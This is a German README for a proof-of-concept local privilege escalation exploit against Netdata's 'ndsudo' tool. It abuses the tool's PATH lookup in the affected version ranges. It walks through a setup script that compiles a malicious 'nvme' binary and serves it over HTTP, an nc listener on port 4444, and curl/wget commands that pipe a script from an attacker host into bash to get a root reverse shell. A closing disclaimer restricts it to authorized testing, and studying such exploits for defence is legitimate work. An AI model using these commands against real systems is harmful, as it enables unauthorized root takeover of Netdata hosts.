
Bash-Skript für Privilegieneskalation via "ndsudo" (Netdata lokaler Exploit)
Bash-Skript zur Privilegienausweitung über "ndsudo" (Netdata Local Exploit)
>= v1.45.0, < v1.45.3
>= v1.44.0-60, < v1.45.0-169
Das "ndsudo"-Tool führt eine eingeschränkte Reihe externer Befehle aus, aber die Suchpfade werden durch die Umgebungsvariable "PATH" bereitgestellt. Durch Ändern der "PATH"-Umgebungsvariable auf einen Pfad, auf den wir Zugriff haben, können wir steuern, wo ndsudo nach den Befehlen sucht, und einen Befehl erstellen, der schädlichen Code enthält.
Dieser Exploit basiert auf der Annahme, dass sich die Zielmaschine und die Angreifermaschine im selben Netzwerk befinden.
Wir können die für den Angriff benötigte Datei automatisch generieren und bereitstellen, indem wir das Skript "setup_exploit_server.sh" ausführen.
$ ./setup_exploit_server.sh YOUR_IP
--------- Exploit Infrastructure Setup by Ottanta ---------
[+] Using server IP: YOUR_IP
[+] Creating exploit directory: /tmp/exploit
[+] Creating ndsudo_pe.sh script file...
[+] Creating nvme.c exploit file...
[+] Compiling nvme binary...
[+] nvme binary compiled successfully
[+] Starting web server on port 80...
[+] Web server started with PID: 9350
[+] nvme binary is available at: http://YOUR_IP/nvme
[!] Now run the privilege escalation exploit in the victim terminal
[!] Make sure to start listener: nc -nlvp 4444
Press Enter to stop the web server and clean up...
Dieses Skript erstellt alle für den Angriff benötigten Dateien, konfiguriert mit Ihrer IP-Adresse.
Nach dem Bereitstellen unseres Webservers starten wir einen Listener in einer anderen Shell:
# We start a listener with Netcat, but you can use anything else
$ nc -nlvp 4444
listening on [any] 4444 ...
Abhängig von unserem HTTP-Client können wir unseren Exploit herunterladen und ausführen.
# If we have curl
$ curl -L http://YOUR_IP/ndsudo_pe.sh | bash -s -- YOUR_IP
# If we have wget
$ wget -qO- http://YOUR_IP/ndsudo_pe.sh | bash -s -- YOUR_IP
Wenn alles korrekt durchgeführt wurde, sollten wir jetzt eine Root-Shell haben.

Dieses Proof-of-Concept dient ausschließlich zu Bildungs- und autorisierten Testzwecken. Die unbefugte Nutzung gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben, ist illegal. Die Autoren übernehmen keine Verantwortung für den Missbrauch dieser Informationen.